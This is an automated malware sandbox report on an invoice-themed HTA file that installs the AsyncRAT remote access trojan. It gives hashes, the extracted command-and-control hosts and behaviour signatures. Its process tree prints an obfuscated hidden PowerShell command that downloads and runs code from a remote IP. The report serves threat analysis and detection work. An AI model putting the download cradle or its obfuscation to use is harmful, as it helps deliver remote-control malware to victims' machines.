Analysis

  • max time kernel
    151s
  • max time network
    134s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2023, 17:34

General

  • Target

    16112023_0133_15112023_Invoice#2356876431.hta

  • Size

    371B

  • MD5

    99153607b1542d57391bb96f7f6501a8

  • SHA1

    87496ae7cb23b015fb8da73af5f0fd7fc1373aa2

  • SHA256

    c08e13a2fe6a0b69b2c67f0fbd73c72c7c49bbdedef556da6b57197f995979e1

  • SHA512

    2f2bf163d4f646421dcbb1a0110007ac87701c81e57ac89335ca477784e976985d6bee92b79d1be73b327ecbfddfb399ce5a45ead6dc8f223be6d15a28cf850c

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

Sended@

C2

hexrxr.duckdns.org:6606

hexrxr.duckdns.org:7707

hexrxr.duckdns.org:8808

Mutex

AsyncMutex_85&$nkeo4%hifbe

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\16112023_0133_15112023_Invoice#2356876431.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:852
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://185.81.157.213:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4016
  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "C:\Users\Public\Conted.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4872
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Conted.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Conted.ps1'"
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4904
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          4⤵
            PID:3184

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            18KB

            MD5

            314959276fcbaa5fa5b31c8e49de1d0e

            SHA1

            8a3414c59816f766f6fbd77803fc92eee838c552

            SHA256

            202b174e43662acf51eb04e5e9bbc90b24c0dea103aed76baf966ca175ae8ec7

            SHA512

            1282d949b65409578388a0ff2c9830c6b9a94e22c936ce0978107a2c9b47be97eac808a7914bfc4bc977be545730b9d0f4457a0c57bbccbdde1be6249fc7e554

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ecibrcnr.ww4.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Public\Conted.bat

            Filesize

            205B

            MD5

            759278dd3dc3679bf7efd1ec681c0aa1

            SHA1

            72b37494696deea940ac75b4c4e06e2b6ce419ef

            SHA256

            cba344447d8228d88c93d64ffdcda1de8562ef41adc4901191548e00bbfc5f19

            SHA512

            8b4f63354c5aa1ec4102e7aadbb2da34b2a0ba2d3ae6b8d22a70fd75c3c3b9e70cd4ce8128bd50cb400970697c49810c4ef69f96352e36ba4f2b7a647ab8a27f

          • C:\Users\Public\Conted.ps1

            Filesize

            422KB

            MD5

            ba03b4e7a4ad2bd4a2f5bce388d8f489

            SHA1

            f71681ee8115d4349084ad5c26e790a926bbea84

            SHA256

            d6b98f02b41a30cd4578acfd549e2d6fe64036f00c1830193d342c0454068b5a

            SHA512

            6dc307567baa0a1def8b9e480477985ccbdb7e5628c4d972a5804b282006d0717ddd728c449f8fbfcd2669a1a868c516d5924ab3a1f3d1b8e4bd1272fc04c665

          • C:\Users\Public\Conted.vbs

            Filesize

            688B

            MD5

            110da9d3474ba64fa1a18c173685c25d

            SHA1

            9f093829518a9268bf9807fda7bef47e7832c497

            SHA256

            a31dbd6f7416f150403c19be69f02d5e8608f5e7fae88a29831d40db15849b60

            SHA512

            ef5fb4415fbd12e633ad964ca132ac3be81bfacd489db788b86fc7ef245d6f51bc08faecaf24874649d0c754b1892075a28042bf8483ab85b1996a25cfa57443

          • memory/3184-49-0x0000000000400000-0x0000000000416000-memory.dmp

            Filesize

            88KB

          • memory/4016-21-0x0000000003220000-0x0000000003230000-memory.dmp

            Filesize

            64KB

          • memory/4016-29-0x00000000705E0000-0x0000000070D90000-memory.dmp

            Filesize

            7.7MB

          • memory/4016-13-0x00000000060D0000-0x0000000006136000-memory.dmp

            Filesize

            408KB

          • memory/4016-18-0x0000000006140000-0x0000000006494000-memory.dmp

            Filesize

            3.3MB

          • memory/4016-19-0x0000000006740000-0x000000000675E000-memory.dmp

            Filesize

            120KB

          • memory/4016-20-0x0000000006770000-0x00000000067BC000-memory.dmp

            Filesize

            304KB

          • memory/4016-1-0x00000000705E0000-0x0000000070D90000-memory.dmp

            Filesize

            7.7MB

          • memory/4016-22-0x0000000007D60000-0x00000000083DA000-memory.dmp

            Filesize

            6.5MB

          • memory/4016-23-0x0000000006CC0000-0x0000000006CDA000-memory.dmp

            Filesize

            104KB

          • memory/4016-7-0x0000000006060000-0x00000000060C6000-memory.dmp

            Filesize

            408KB

          • memory/4016-6-0x0000000005860000-0x0000000005882000-memory.dmp

            Filesize

            136KB

          • memory/4016-5-0x0000000005980000-0x0000000005FA8000-memory.dmp

            Filesize

            6.2MB

          • memory/4016-2-0x0000000003220000-0x0000000003230000-memory.dmp

            Filesize

            64KB

          • memory/4016-4-0x0000000003220000-0x0000000003230000-memory.dmp

            Filesize

            64KB

          • memory/4016-3-0x0000000003150000-0x0000000003186000-memory.dmp

            Filesize

            216KB

          • memory/4904-46-0x0000022072810000-0x0000022072820000-memory.dmp

            Filesize

            64KB

          • memory/4904-45-0x00007FFEBA220000-0x00007FFEBACE1000-memory.dmp

            Filesize

            10.8MB

          • memory/4904-48-0x0000022075130000-0x000002207514A000-memory.dmp

            Filesize

            104KB

          • memory/4904-34-0x0000022074450000-0x0000022074472000-memory.dmp

            Filesize

            136KB